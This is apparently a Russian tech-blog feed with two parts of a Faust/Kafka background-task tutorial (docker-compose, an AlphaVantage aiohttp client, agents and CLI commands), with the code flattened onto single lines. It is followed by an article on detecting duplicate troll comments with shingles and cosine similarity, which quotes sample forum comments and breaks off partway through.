horton docker-compose.yml horton     agents.py *     alphavantage.py *     app.py *     config.py     database      connect.py      cruds       base.py       __init__.py       security.py *      __init__.py     __init__.py     records.py *     tasks.py *

*Всё что я отметил мы пока не трогаем, а просто создаём пустые файлы.**


Создали структуру. Теперь добавим необходимые зависимости, напишем конфиг и подключение к mongodb. Полный текст файлов приводить в статье не буду, чтобы не затягивать, а сделаю ссылки на нужные версии.


Начнём с зависимостей и мета о проекте pyproject.toml


Далее, запускаем установку зависимостей и создание virtualenv (либо, можете сами создать папку venv и активировать окружение):


pip3 install poetry (если ещё не установлено)poetry install

Теперь создадим config.yml креды и куда стучаться. Сразу туда можно разместить и данные для alphavantage. Ну и переходим к config.py извлекаем данные для приложения из нашего конфига. Да, каюсь, заюзал свою либу sitri.


По подключению с монго совсем всё просто. Объявили класс клиента для подключения и базовый класс для крудов, чтобы проще было делать запросы по коллекциям.


Что будет дальше?


Статья получилась не очень большая, так как здесь я говорю только о мотивации и подготовке, поэтому не обессудьте обещаю, что в следующей части будет экшн и графика.


Итак, а в этой самой следующей части мы:


  1. Напишем небольшой клиентик для alphavantage на aiohttp с запросами на нужные нам эндпоинты.
  2. Сделаем агента, который будет собирать данные о ценных бумагах и исторические цены по ним.

Код проекта


Код этой части

Подробнее..

Фоновые задачи на Faust, Часть I Введение

20.09.2020 16:05:00 | Автор: admin

http://personeltest.ru/aways/habrastorage.org/webt/wo/6b/ui/wo6buieqgfwzr4y5tczce4js0rc.png


Как я дошёл до жизни такой?


Сначала я решил опробовать Celery, которым пользовался ранее. В связи с асинхронностью проекта, я погрузился в вопрос и увидел статью, а так же проект, созданный автором статьи.


Скажу так, проект очень интересный и вполне успешно работает в других приложениях нашей команды, да и сам автор говорит о том, что смог выкатить в прод, заюзав асинхронный пул. Но, к сожалению, мне это не очень подошло, так как обнаружилась проблема с групповым запуском задач (см. group). На момент написания статьи issue уже закрыта, однако, работа велась на протяжении месяца. В любом случае, автору удачи и всех благ, так как рабочие штуки на либе уже есть в общем, дело во мне и для меня оказался инструмент сыроват. Вдобавок, в некоторых задачах было по 2-3 http-запроса к разным сервисам, таким образом даже при оптимизации задач мы создаём 4 тысячи tcp соединений, примерно каждые 2 часа не очень Хотелось бы создавать сессию на один тип задач при запуске воркеров. Чуть подробнее о большом кол-ве запросов через aiohttp тут.


В связи с этим, я начал искать альтернативы и нашёл! Создателями celery, а конкретно, как я понял Ask Solem, была создана Faust, изначально для проекта robinhood. Faust написана под впечатлением от Kafka Streams и работает с Kafka в качестве брокера, также для хранения результатов от работы агентов используется rocksdb, а самое главное это то, что библиотека асинхронна.


Также, можете глянуть краткое сравнение celery и faust от создателей последней: их различия, различия брокеров, реализацию элементарной задачи. Всё весьма просто, однако, в faust привлекает внимание приятная особенность типизированные данные для передачи в топик.


Что будем делать?


Итак, в небольшой серии статей я покажу, как собирать данные в фоновых задачах с помощью Faust. Источником для нашего пример-проекта будет, как следует из названия, alphavantage.co. Я продемонстрирую, как писать агентов (sink, топики, партиции), как делать регулярное (cron) выполнение, удобнейшие cli-комманды faust (обёртка над click), простой кластеринг, а в конце прикрутим datadog (работающий из коробки) и попытаемся, что-нибудь увидеть. Для хранения собранных данных будем использовать mongodb и motor для подключения.


P.S. Судя по уверенности, с которой написан пункт про мониторинг, думаю, что читатель в конце последней статьи всё-таки будет выглядеть, как-то так:


http://personeltest.ru/aways/habrastorage.org/webt/e5/v1/pl/e5v1plkcyvxyoawde4motgq7vpm.png


Требования к проекту


В связи с тем, что я уже успел наобещать, составим небольшой списочек того, что должен уметь сервис:


  1. Выгружать ценные бумаги и overview по ним (в т.ч. прибыли и убытки, баланс, cash flow за последний год) регулярно
  2. Выгружать исторические данные (для каждого торгового года находить экстремумы цены закрытия торгов) регулярно
  3. Выгружать последние торговые данные регулярно
  4. Выгружать настроенный список индикаторов для каждой ценной бумаги регулярно

Как полагается, выбираем имя проекту с потолка: horton


Готовим инфраструктуру


Заголовок конечно сильный, однако, всё что нужно сделать это написать небольшой конфиг для docker-compose с kafka (и zookeeper в одном контейнере), kafdrop (если нам захочется посмотреть сообщения в топиках), mongodb. Получаем [docker-compose.yml](https://github.com/Egnod/horton/blob/562fa5ec14df952cd74760acf76e141707d2ef58/docker-compose.yml) следующего вида:


version: '3'services:  db:    container_name: horton-mongodb-local    image: mongo:4.2-bionic    command: mongod --port 20017    restart: always    ports:      - 20017:20017    environment:      - MONGO_INITDB_DATABASE=horton      - MONGO_INITDB_ROOT_USERNAME=admin      - MONGO_INITDB_ROOT_PASSWORD=admin_password  kafka-service:    container_name: horton-kafka-local    image: obsidiandynamics/kafka    restart: always    ports:      - "2181:2181"      - "9092:9092"    environment:      KAFKA_LISTENERS: "INTERNAL://:29092,EXTERNAL://:9092"      KAFKA_ADVERTISED_LISTENERS: "INTERNAL://kafka-service:29092,EXTERNAL://localhost:9092"      KAFKA_LISTENER_SECURITY_PROTOCOL_MAP: "INTERNAL:PLAINTEXT,EXTERNAL:PLAINTEXT"      KAFKA_INTER_BROKER_LISTENER_NAME: "INTERNAL"      KAFKA_ZOOKEEPER_SESSION_TIMEOUT: "6000"      KAFKA_RESTART_ATTEMPTS: "10"      KAFKA_RESTART_DELAY: "5"      ZOOKEEPER_AUTOPURGE_PURGE_INTERVAL: "0"  kafdrop:    container_name: horton-kafdrop-local    image: 'obsidiandynamics/kafdrop:latest'    restart: always    ports:      - '9000:9000'    environment:      KAFKA_BROKERCONNECT: kafka-service:29092    depends_on:      - kafka-service

Тут вообще ничего сложного. Для kafka объявили два listener'а: одного (internal) для использования внутри композной сети, а второго (external) для запросов из вне, поэтому пробросили его наружу. 2181 порт zookeeper'а. По остальному, я думаю, ясно.


Готовим скелет проекта


В базовом варианте структура нашего проекта должна выглядеть так:


horton docker-compose.yml horton     agents.py *     alphavantage.py *     app.py *     config.py     database      connect.py      cruds       base.py       __init__.py       security.py *      __init__.py     __init__.py     records.py *     tasks.py *

*Всё что я отметил мы пока не трогаем, а просто создаём пустые файлы.**


Создали структуру. Теперь добавим необходимые зависимости, напишем конфиг и подключение к mongodb. Полный текст файлов приводить в статье не буду, чтобы не затягивать, а сделаю ссылки на нужные версии.


Начнём с зависимостей и мета о проекте pyproject.toml


Далее, запускаем установку зависимостей и создание virtualenv (либо, можете сами создать папку venv и активировать окружение):


pip3 install poetry (если ещё не установлено)poetry install

Теперь создадим config.yml креды и куда стучаться. Сразу туда можно разместить и данные для alphavantage. Ну и переходим к config.py извлекаем данные для приложения из нашего конфига. Да, каюсь, заюзал свою либу sitri.


По подключению с монго совсем всё просто. Объявили класс клиента для подключения и базовый класс для крудов, чтобы проще было делать запросы по коллекциям.


Что будет дальше?


Статья получилась не очень большая, так как здесь я говорю только о мотивации и подготовке, поэтому не обессудьте обещаю, что в следующей части будет экшн и графика.


Итак, а в этой самой следующей части мы:


  1. Напишем небольшой клиентик для alphavantage на aiohttp с запросами на нужные нам эндпоинты.
  2. Сделаем агента, который будет собирать данные о ценных бумагах и исторические цены по ним.

Код проекта


Код этой части

Подробнее..

Фоновые задачи на Faust, Часть II Агенты и Команды

23.09.2020 04:06:02 | Автор: admin

Оглавление

  1. Часть I: Введение

  2. Часть II: Агенты и Команды

Что мы тут делаем?

Итак-итак, вторая часть. Как и писалось ранее, в ней мы сделаем следующее:

  1. Напишем небольшой клиентик для alphavantage на aiohttp с запросами на нужные нам эндпоинты.

  2. Сделаем агента, который будет собирать данные о ценных бумагах и мета информацию по ним.

Но, это то, что мы сделаем для самого проекта, а в плане исследования faust мы узнаем, как писать агентов, обрабатывающих стрим событий из kafka, а так же как написать команды (обёртка на click), в нашем случаи - для ручного пуша сообщения в топик, за которым следит агент.

Подготовка

Клиент AlphaVantage

Для начала, напишем небольшой aiohttp клиентик для запросов на alphavantage.

alphavantage.py

Spoiler
import urllib.parse as urlparsefrom io import StringIOfrom typing import Any, Dict, List, Unionimport aiohttpimport pandas as pdimport stringcasefrom loguru import loggerfrom horton.config import API_ENDPOINTclass AlphaVantageClient:    def __init__(        self,        session: aiohttp.ClientSession,        api_key: str,        api_endpoint: str = API_ENDPOINT,    ):        self._query_params = {"datatype": "json", "apikey": api_key}        self._api_endpoint = api_endpoint        self._session = session    @logger.catch    def _format_fields(self, data: Dict[str, Any]) -> Dict[str, Any]:        formatted_data = {}        for field, item in data.items():            formatted_data[stringcase.snakecase(field)] = item        return formatted_data    @logger.catch    async def _construct_query(        self, function: str, to_json: bool = True, **kwargs    ) -> Union[Dict[str, Any], str]:        path = "query/"        async with self._session.get(            urlparse.urljoin(self._api_endpoint, path),            params={"function": function, **kwargs, **self._query_params},        ) as response:            data = (await response.json()) if to_json else (await response.text())            if to_json:                data = self._format_fields(data)        return data    @logger.catch    async def get_securities(self, state: str = "active") -> List[Dict[str, str]]:        data = await self._construct_query("LISTING_STATUS", state=state, to_json=False)        data = pd.read_csv(StringIO(data))        securities = data.to_dict("records")        for index, security in enumerate(securities):            security = self._format_fields(security)            security["_type"] = "physical"            securities[index] = security        return securities    @logger.catch    async def get_security_overview(self, symbol: str) -> Dict[str, str]:        return await self._construct_query("OVERVIEW", symbol=symbol)    @logger.catch    async def get_historical_data(self, symbol: str) -> Dict[str, Any]:        return await self._construct_query(            "TIME_SERIES_DAILY_ADJUSTED", symbol=symbol, outputsize="full"        )    @logger.catch    async def get_last_price_data(self, symbol: str) -> Dict[str, Any]:        return await self._construct_query("GLOBAL_QUOTE", symbol=symbol)    @logger.catch    async def get_indicator_data(        self, symbol: str, indicator: str, **indicator_options    ) -> Dict[str, Any]:        return await self._construct_query(            indicator, symbol=symbol, **indicator_options        )

Собственно по нему всё ясно:

  1. API AlphaVantage достаточно просто и красиво спроектирована, поэтому все запросы я решил проводить через метод construct_query где в свою очередь идёт http вызов.

  2. Все поля я привожу к snake_case для удобства.

  3. Ну и декорация logger.catch для красивого и информативного вывода трейсбека.

P.S. Незабываем локально добавить токен alphavantage в config.yml, либо экспортировать переменную среды HORTON_SERVICE_APIKEY. Получаем токен тут.

CRUD-класс

У нас будет коллекция securities для хранения мета информации о ценных бумагах.

database/security.py

Тут по-моему ничего пояснять не нужно, а базовый класс сам по себе достаточно прост.

get_app()

Добавим функцию создания объекта приложения в app.py

Spoiler
import faustfrom horton.config import KAFKA_BROKERSdef get_app():    return faust.App("horton", broker=KAFKA_BROKERS)

Пока у нас будет самое простое создание приложения, чуть позже мы его расширим, однако, чтобы не заставлять вас ждать, вот референсы на App-класс. На класс settings тоже советую взглянуть, так как именно он отвечает за большую часть настроек.

Основная часть

Агент сбора и сохранения списка ценных бумаг

app = get_app()collect_securities_topic = app.topic("collect_securities", internal=True)@app.agent(collect_securities_topic)async def collect_securities(stream: StreamT[None]) -> AsyncIterable[bool]:pass

Так, сначала получаем объект faust-приложения - это достаточно просто. Далее, мы явно объявляем топик для нашего агента... Тут стоит упомянуть, что это такое, что за параметр internal и как это можно устроить по-другому.

  1. Топики в kafka, если мы хотим узнать точное определение, то лучше прочитать офф. доку, либо можно прочитать конспект на хабре на русском, где так же всё достаточно точно отражено :)

  2. Параметр internal, достаточно хорошо описанный в доке faust, позволяет нам настраивать топик прямо в коде, естественно, имеются ввиду параметры, предусмотренные разработчиками faust, например: retention, retention policy (по-умолчанию delete, но можно установить и compact), кол-во партиций на топик (partitions, чтобы сделать, например, меньшее чем глобальное значение приложения faust).

  3. Вообще, агент может создавать сам управляемый топик с глобальными значениями, однако, я люблю объявлять всё явно. К тому же, некоторые параметры (например, кол-во партиций или retention policy) топика в объявлении агента настроить нельзя.

    Вот как это могло было выглядеть без ручного определения топика:

app = get_app()@app.agent()async def collect_securities(stream: StreamT[None]) -> AsyncIterable[bool]:pass

Ну а теперь, опишем, что будет делать наш агент :)

app = get_app()collect_securities_topic = app.topic("collect_securities", internal=True)@app.agent(collect_securities_topic)async def collect_securities(stream: StreamT[None]) -> AsyncIterable[bool]:    async with aiohttp.ClientSession() as session:        async for _ in stream:            logger.info("Start collect securities")            client = AlphaVantageClient(session, API_KEY)            securities = await client.get_securities()            for security in securities:                await SecurityCRUD.update_one(                    {"symbol": security["symbol"], "exchange": security["exchange"]}, security, upsert=True                )            yield True

Итак, в начале агента мы открываем aiohttp сессию для запросов через наш клиент. Таким образом, при запуске воркера, когда будет запущен наш агент, сразу же будет открыта сессия - одна, на всё время работы воркера (или несколько, если изменить параметр concurrency у агента с дефолтной единички).

Далее, мы идём по стриму (сообщение мы помещаем в _, так как нам, в данном агенте, безразлично содержание) сообщений из нашего топика, если они есть при текущем сдвиге (offset), иначе, наш цикл будет ожидать их поступления. Ну а внутри нашего цикла, мы логируем поступление сообщения, получаем список активных (get_securities возвращает по-умолчания только active, см. код клиента) ценных бумаг и сохраняем его в базу, проверяя при этом, есть ли бумага с таким тикером и биржей в БД, если есть, то она (бумага) просто обновится.

Запустим наше творение!

> docker-compose up -d... Запуск контейнеров ...> faust -A horton.agents worker --without-web -l info

P.S. Возможности веб-компонента faust я рассматривать в статьях не буду, поэтому выставляем соответствующий флаг.

В нашей команде запуска мы указали faust'у, где искать объект приложения и что делать с ним (запустить воркер) с уровнем вывода логов info. Получаем следующий вывод:

Spoiler
aS v1.10.4 id           horton                                             transport    [URL('kafka://localhost:9092')]                    store        memory:                                            log          -stderr- (info)                                    pid          1271262                                            hostname     host-name                                          platform     CPython 3.8.2 (Linux x86_64)                       drivers                                                           transport  aiokafka=1.1.6                                       web        aiohttp=3.6.2                                      datadir      /path/to/project/horton-data                       appdir       /path/to/project/horton-data/v1                   ... логи, логи, логи ...Topic Partition Set topic                       partitions  collect_securities          {0-7}       horton-__assignor-__leader  {0}         

Оно живое!!!

Посмотрим на partition set. Как мы видим, был создан топик с именем, которое мы обозначили в коде, кол-во партиций дефолтное (8, взятое из topic_partitions - параметра объекта приложения), так как у нашего топика мы индивидуальное значение (через partitions) не указывали. Запущенному агенту в воркере отведены все 8 партициций, так как он единственный, но об этом будет подробнее в части про кластеринг.

Что же, теперь можем зайти в другое окно терминала и отправить пустое сообщение в наш топик:

> faust -A horton.agents send @collect_securities{"topic": "collect_securities", "partition": 6, "topic_partition": ["collect_securities", 6], "offset": 0, "timestamp": ..., "timestamp_type": 0}

P.S. с помощью @ мы показываем, что посылаем сообщение в топик с именем "collect_securities".

В данном случае, сообщение ушло в 6 партицию - это можно проверить, зайдя в kafdrop на localhost:9000

Перейдя в окно терминала с нашим воркером, мы увидим радостное сообщение, посланное с помощью loguru:

2020-09-23 00:26:37.304 | INFO     | horton.agents:collect_securities:40 - Start collect securities

Так же, можем заглянуть в mongo (с помощью Robo3T или Studio3T) и увидеть, что ценные бумаги в базе:

Я не миллиардер, а потому, довольствуемся первым вариантом просмотра.

Счастье и радость - первый агент готов :)

Агент готов, да здравствует новый агент!

Да, господа, нами пройдена только 1/3 пути, уготованного этой статьёй, но не унывайте, так как сейчас будет уже легче.

Итак, теперь нам нужен агент, который собирает мета информацию и складывает её в документ коллекции:

collect_security_overview_topic = app.topic("collect_security_overview", internal=True)@app.agent(collect_security_overview_topic)async def collect_security_overview(    stream: StreamT[?],) -> AsyncIterable[bool]:    async with aiohttp.ClientSession() as session:        async for event in stream:            ...

Так как этот агент будет обрабатывать информацию о конкретной security, нам нужно в сообщении указать тикер (symbol) этой бумаги. Для этого в faust существуют Records - классы, декларирующие схему сообщения в топике агента.

В таком случае перейдём в records.py и опишем, как должно выглядеть сообщение у этого топика:

import faustclass CollectSecurityOverview(faust.Record):    symbol: str    exchange: str

Как вы уже могли догадаться, faust для описания схемы сообщения использует аннотацию типов в python, поэтому и минимальная версия, поддерживаемая библиотекой - 3.6.

Вернёмся к агенту, установим типы и допишем его:

collect_security_overview_topic = app.topic(    "collect_security_overview", internal=True, value_type=CollectSecurityOverview)@app.agent(collect_security_overview_topic)async def collect_security_overview(    stream: StreamT[CollectSecurityOverview],) -> AsyncIterable[bool]:    async with aiohttp.ClientSession() as session:        async for event in stream:            logger.info(                "Start collect security [{symbol}] overview", symbol=event.symbol            )            client = AlphaVantageClient(session, API_KEY)            security_overview = await client.get_security_overview(event.symbol)            await SecurityCRUD.update_one({"symbol": event.symbol, "exchange": event.exchange}, security_overview)            yield True

Как видите, мы передаём в метод инициализации топика новый параметр со схемой - value_type. Далее, всё по той же самой схеме, поэтому останавливаться на чём то ещё - смысла не вижу.

Ну что же, последний штрих - добавим в collect_securitites вызов агента сбора мета информации:

....for security in securities:    await SecurityCRUD.update_one({            "symbol": security["symbol"],            "exchange": security["exchange"]        },        security,        upsert = True,    )    await collect_security_overview.cast(        CollectSecurityOverview(symbol = security["symbol"], exchange = security["exchange"])    )....

Используем ранее объявлению схему для сообщения. В данном случае, я использовал метод .cast, так как нам не нужно ожидать результат от агента, но стоит упомянуть, что способов послать сообщение в топик:

  1. cast - не блокирует, так как не ожидает результата. Нельзя послать результат в другой топик сообщением.

  2. send - не блокирует, так как не ожидает результата. Можно указать агента в топик которого уйдёт результат.

  3. ask - ожидает результата. Можно указать агента в топик которого уйдёт результат.

Итак, на этом с агентами на сегодня всё!

Команда мечты

Последнее, что я обещал написать в этой части - команды. Как уже говорилось ранее, команды в faust - это обёртка над click. Фактически faust просто присоединяет нашу кастомную команду к своему интерфейсу при указании ключа -A

После объявленных агентов в agents.py добавим функцию с декоратором app.command, вызывающую метод cast у collect_securitites:

@app.command()async def start_collect_securities():    """Collect securities and overview."""    await collect_securities.cast()

Таким образом, если мы вызовем список команд, в нём будет и наша новая команда:

> faust -A horton.agents --help....Commands:  agents                    List agents.  clean-versions            Delete old version directories.  completion                Output shell completion to be evaluated by the...  livecheck                 Manage LiveCheck instances.  model                     Show model detail.  models                    List all available models as a tabulated list.  reset                     Delete local table state.  send                      Send message to agent/topic.  start-collect-securities  Collect securities and overview.  tables                    List available tables.  worker                    Start worker instance for given app.

Ею мы можем воспользоваться, как любой другой, поэтому перезапустим faust воркер и начнём полноценный сбор ценных бумаг:

> faust -A horton.agents start-collect-securities

Что будет дальше?

В следующей части мы, на примере оставшихся агентов, рассмотрим, механизм sink для поиска экстремум в ценах закрытия торгов за год и cron-запуск агентов.

На сегодня всё! Спасибо за прочтение :)

Код этой части

P.S. Под прошлой частью меня спросили про faust и confluent kafka (какие есть у confluent фичи). Кажется, что confluent во многом функциональнее, но дело в том, что faust не имеет полноценной поддержки клиента для confluent - это следует из описания ограничений клиентов в доке.

Подробнее..

Из песочницы Ищем Троллей. Алгоритм шинглов amp косинусное сходство

25.09.2020 18:15:34 | Автор: admin

Думаю, многие в напряженных дискуссиях в интернете сталкивались с обвинением людей в том, что они боты, тролли и проплачены Кремлем, Киевом или Вашингтоном. Но как действительно выявить таковых или просто людей пытающихся активно донести своё мнение до остальных?

Возьмём, к примеру четыре текста (комментария):

text_1 = 'Комментарий в первой теме характеризующий Михаил Михайловича умным, целеустремленным и ответственным человеком'text_2 = 'Комментарий из второй темы про Михаил Михайловича, описывающий его как умного, ответственного и упорного человека'text_3 = 'Случайный текст похожей длинны с первыми двумя комментариями не несущей какой либо смысловой нагрузки'text_4 = 'Комментарий из другой темы, не касающийся Михаила, но тоже про умного человека, ответственно подходящего к работе'

На человеческий взгляд сходство в первом и втором комментариях определенно есть, они написаны про одного человека и характеризуют его положительные стороны. И так же никак не связаны с текстами три и четыре.

Как прийти к такому же результату с точки зрения математики?
Банально сравнить количество одинаковых слов в обоих текстов. Но сразу появляется проблема как сравнить слова умный и умного? Лемматизация текста подходит не всегда, так как готовые библиотеки не поддерживают многие языки.

В таких моментах оправдано использование Алгоритма шинглов разбивающего текст n частей, размер которых подбирается опытным путём для конкретной задачи.

Пример:

Текст 1 при n = 3
['ком', 'омм', 'мме', 'мен', 'ент', 'нта', 'тар', 'ари', 'рий', 'ий ', 'й в', ' в ', 'в п', ' пе', 'пер', 'ерв', 'рво', 'вой', 'ой ', 'й т', ' те', 'тем', 'еме', 'ме ', 'е х', ' ха', 'хар', 'ара', 'рак', 'акт', 'кте', 'тер', 'ери', 'риз', 'изу', 'зую', 'ующ', 'ющи', 'щий', 'ий ', 'й м', ' ми', 'мих', 'иха', 'хаи', 'аил', 'ил ', 'л м', ' ми', 'мих', 'иха', 'хай', 'айл', 'йло', 'лов', 'ови', 'вич', 'ича', 'ча ', 'а у', ' ум', 'умн', 'мны', 'ным', 'ым ', 'м ц', ' це', 'цел', 'еле', 'леу', 'еус', 'уст', 'стр', 'тре', 'рем', 'емл', 'мле', 'лен', 'енн', 'нны', 'ным', 'ым ', 'м и', ' и ', 'и о', ' от', 'отв', 'тве', 'вет', 'етс', 'тст', 'ств', 'тве', 'вен', 'енн', 'нны', 'ным', 'ым ', 'м ч', ' че', 'чел', 'ело', 'лов', 'ове', 'век', 'еко']


Текст 1 при n = 5
['комме', 'оммен', 'ммент', 'мента', 'ентар', 'нтари', 'тарий', 'арий ', 'рий в', 'ий в ', 'й в п', ' в пе', 'в пер', ' перв', 'перво', 'ервой', 'рвой ', 'вой т', 'ой те', 'й тем', ' теме', 'теме ', 'еме х', 'ме ха', 'е хар', ' хара', 'харак', 'аракт', 'ракте', 'актер', 'ктери', 'териз', 'еризу', 'ризую', 'изующ', 'зующи', 'ующий', 'ющий ', 'щий м', 'ий ми', 'й мих', ' миха', 'михаи', 'ихаил', 'хаил ', 'аил м', 'ил ми', 'л мих', ' миха', 'михай', 'ихайл', 'хайло', 'айлов', 'йлови', 'лович', 'овича', 'вича ', 'ича у', 'ча ум', 'а умн', ' умны', 'умным', 'мным ', 'ным ц', 'ым це', 'м цел', ' целе', 'целеу', 'елеус', 'леуст', 'еустр', 'устре', 'стрем', 'тремл', 'ремле', 'емлен', 'мленн', 'ленны', 'енным', 'нным ', 'ным и', 'ым и ', 'м и о', ' и от', 'и отв', ' отве', 'ответ', 'тветс', 'ветст', 'етств', 'тстве', 'ствен', 'твенн', 'венны', 'енным', 'нным ', 'ным ч', 'ым че', 'м чел', ' чело', 'челов', 'елове', 'ловек', 'овеко']


Рассчитаем сходство первого и второго / первого и четвертого текстов при n (1,9) по формуле:

sim = len(set(Shingles_1) & set(Shingles_2)) / len(set(Shingles_1) | set(Shingles_2)))

ShingleSize: 10.9166666666666666 / 0.7857142857142857ShingleSize: 20.5196078431372549 / 0.40350877192982454ShingleSize: 30.3404255319148936 / 0.2375ShingleSize: 40.28205128205128205 / 0.18497109826589594 ShingleSize: 50.2289156626506024 / 0.13812154696132597ShingleSize: 60.1896551724137931 / 0.10752688172043011ShingleSize: 70.15730337078651685 / 0.07894736842105263ShingleSize: 80.13333333333333333 / 0.057291666666666664ShingleSize: 90.10989010989010989 / 0.04145077720207254

Закономерная картина, при увеличение длины увеличивается общее количество шинглов и падает отношение общих шинглов к совокупному объёму. Так при больших объёмах текстов лучше использовать длину шинглов от 5 до 8, а при работе с короткими, например твиты или комментарии 2-4.

Но вернемся к практике, возьмём предварительно собранные данные, с популярного российского, развлекательного портала. Ссылка на kaggle.

Для сбора максимально жарких дискуссий был выбран тэг (раздел) Политика, итого собрано:

  • 944 поста с тегом политика
  • 267000 комментариев к ним
  • из них длиннее 100 символов ~ 140 тысяч

Перейдем к коду:

Очистка текста и разделение на шинглы:

def clean_text(text):    text = text.split('\n')    text = list(filter(None, text))    text = ' '.join(text)    text = re.sub(r"http\S+", "", text)    text = re.sub(r'[^\w\s]', '', text)    shingle = [text[i:i + ShingleSize] for i in range(len(text))][:-ShingleSize]    return ','.join(shingle)

Если мы берем только комментарии длиннее 100 символов, то количество итераций сравнения составляет: $inline$140000!/((140000 - 2)!*2! )$inline$, что довольно много и обработка даже в мультипоточном режиме займет достаточно продолжительное время.

Поэтому сравнивать будем не попарно, а матрицами m*n, используя косинусное сходство
где m число строк, которое подбирается опционально в зависимости от объёма оперативной памяти, а n число столбцов, общее количество всех шинглов;

Реализация алгоритма:

csrMatrix = []idArray = []textArray = []for i in range(ChunkSize, sparse_matrix.shape[0] + ChunkSize, ChunkSize):    temp = sparse_matrix[i - ChunkSize:i - 1]    idArray.append(corpusId[i - ChunkSize:i - 1])    textArray.append(OriginalCorpus[i - ChunkSize:i - 1])    csrMatrix.append(temp)matrixCombinations = itertools.combinations_with_replacement(range(len(csrMatrix)), 2)

При m = 20000 и длинной шингла = 8, получаем 7 матриц размером 20000 * 8800000 и следовательно 21 итерации сравнения. Уже намного лучше.

def Sim(A, B, C, D):    similarities = cosine_similarity(B[A[0]].astype(np.float32), B[A[1]].astype(np.float32))    x, y = np.where(similarities > similarityPercent)    res = []    for k, j in zip(x, y):        if D[A[0]][k] != D[A[1]][j]:            res.append((D[A[0]][k], C[A[0]][k], similarities[k][j].item(), D[A[1]][j], C[A[1]][j]))    return ress = pool.starmap(Sim, zip(matrixCombinations, itertools.repeat(csrMatrix), itertools.repeat(textArray), itertools.repeat(idArray)))s = [item for sublist in s for item in sublist]

Чтобы уменьшить занимаемый объём используем так же тип данных float32. Его точности вполне хватает для корректной работы алгоритма.

Результаты работы заносятся в MySQL базу, для дальнейшей обработки. Так например сгруппируем комментарии, посчитав для каждого сходство с его парами:

SELECT FirstText, SUM(sim) as c FROM pikabu.similarity GROUP BY FirstId ORDER BY c DESC

Топ совпадений:

  1. Комментарий удален. Причина: данный аккаунт был удалён.
  2. Комментарий удален. Причина: оскорбление пользователей.
  3. Комментарий удален. Причина: оскорбления, грубое общение и провокации.
  4. Комментарий удален. Причина: запрещено размещать комментарии, единственная цель которых вызвать неприязнь или возбуждение вражды, а также запрещены комментарии с призывами к насилию или травле.

Стандартная ситуация для политических дискуссий в интернете.

Отбрасывая ссылки, сообщения администрации, прочий шум переходим непосредственно к анализу смысловой нагрузки комментариев:

Восемь совпадений
DaimosShip,2020-08-14 23:03:48,
Ермошина подтвердила, что Тихановская записывала свое обращение в ее кабинете в ЦИКе
DaimosShip,2020-08-14 23:05:41,
Ермошина подтвердила, что Тихановская записывала свое обращение в ее кабинете в ЦИКе
DaimosShip,2020-08-14 23:05:52,
Ермошина подтвердила, что Тихановская записывала свое обращение в ее кабинете в ЦИКе
DaimosShip,2020-08-14 23:05:26,
Ермошина подтвердила, что Тихановская записывала свое обращение в ее кабинете в ЦИКе
DaimosShip,2020-08-14 23:05:22,
Ермошина подтвердила, что Тихановская записывала свое обращение в ее кабинете в ЦИКе
DaimosShip,2020-08-14 23:07:02,
Ермошина подтвердила, что Тихановская записывала свое обращение в ее кабинете в ЦИКе
DaimosShip,2020-08-14 23:06:53,
Ермошина подтвердила, что Тихановская записывала свое обращение в ее кабинете в ЦИКе
DaimosShip,2020-08-14 23:06:18,
Ермошина подтвердила, что Тихановская записывала свое обращение в ее кабинете в ЦИКе

Человек за пять минут написал 8 одинаковых сообщений в одной и той же теме, касающихся событий в Белоруссии. Всего в базу попало 260 сообщения данного автора, беглый взгляд на них даёт понять явное негативное отношение к ситуации в Белоруссии, так же сам пользователь идёт на опережения и в качестве аргументов сам называет своих оппонентов ботами.

А ещё у него брат был наблюдателем на выборах:

DaimosShip,2020-08-18 22:52:41
У меня брат был наблюдателем никуда не пустили


Ещё 6 совпадений
NoisePanzer,2017-11-20 14:58:26,
Остаётся ещё около 17 миллионов Вермахта и СС.Не буду утверждать точно, но читал немецкого исследователя, он пишет, что 80% вермахта (НЕ СС!) участвовали в актах геноцида и других военных преступлениях.

NoisePanzer,2017-11-20 15:33:26,
Вы не правы. Читал книгу немецкого исследователя о добровольческом батальоне вермахта. Люди (подавляющее большинство!) добровольно шли убивать невиновных. Работ на эту тему, явно доказывающих, что БОЛЬШИНСТВО немцев было не против массовых убийств очень много. Если вы (вполне резонно) не верите мне, ссылки откопаю и приведу вам.

NoisePanzer,2017-11-20 15:26:55,
Нет. Вы не правы. Читал книгу немецкого исследователя о добровольческом батальоне вермахта. Люди (подавляющее большинство!) добровольно шли убивать невиновных. Работ на эту тему, явно доказывающих, что БОЛЬШИНСТВО немцев было не против массовых убийств очень много. Если вы (вполне резонно) не верите мне, ссылки откопаю и приведу вам.

NoisePanzer,2017-11-21 03:51:46,
Нет. Вы не правы. Читал книгу немецкого исследователя о добровольческом батальоне вермахта. Люди (подавляющее большинство!) добровольно шли убивать невиновных. Работ на эту тему, явно доказывающих, что БОЛЬШИНСТВО немцев было не против массовых убийств очень много. Если вы (вполне резонно) не верите мне, ссылки откопаю и приведу вам.

NoisePanzer,2017-11-21 03:52:14,
Нет. Вы не правы. Читал книгу немецкого исследователя о добровольческом батальоне вермахта. Люди (подавляющее большинство!) добровольно шли убивать невиновных. Работ на эту тему, явно доказывающих, что БОЛЬШИНСТВО немцев было не против массовых убийств очень много. Если вы (вполне резонно) не верите мне, ссылки откопаю и приведу вам.

NoisePanzer,2017-11-21 03:53:22,
Читал книгу немецкого исследователя о добровольческом батальоне вермахта. Люди (подавляющее большинство!) добровольно шли убивать невиновных. Работ на эту тему, явно доказывающих, что БОЛЬШИНСТВО немцев было не против массовых убийств очень много. Если вы (вполне резонно) не верите мне, ссылки откопаю и приведу вам.

Автор явно любитель немецкой исторической литературы

И ещё 4
Kumuj,2018-03-25 01:46:10,
Интересная тенденция на Пикабу вырисовывается, последние пару дней замечаю все больше заплюсованых постов с негативным отношением к императору. Неужели фабрика троллей сбавила обороты и мы можем видеть реальные настроения в интернете?

Kumuj,2018-03-25 01:53:56,
Интересная тенденция на Пикабу вырисовывается, последние пару дней замечаю все больше заплюсованых постов с негативным отношением к императору. Неужели фабрика троллей сбавила обороты и мы можем видеть реальные настроения в интернете?

Kumuj,2018-03-25 01:46:26,
Интересная тенденция на Пикабу вырисовывается, последние пару дней замечаю все больше заплюсованых постов с негативным отношением к императору. Неужели фабрика троллей после выборов сбавила обороты и мы можем видеть реальные настроения юзеров в интернете?

Kumuj,2018-03-25 01:42:29,
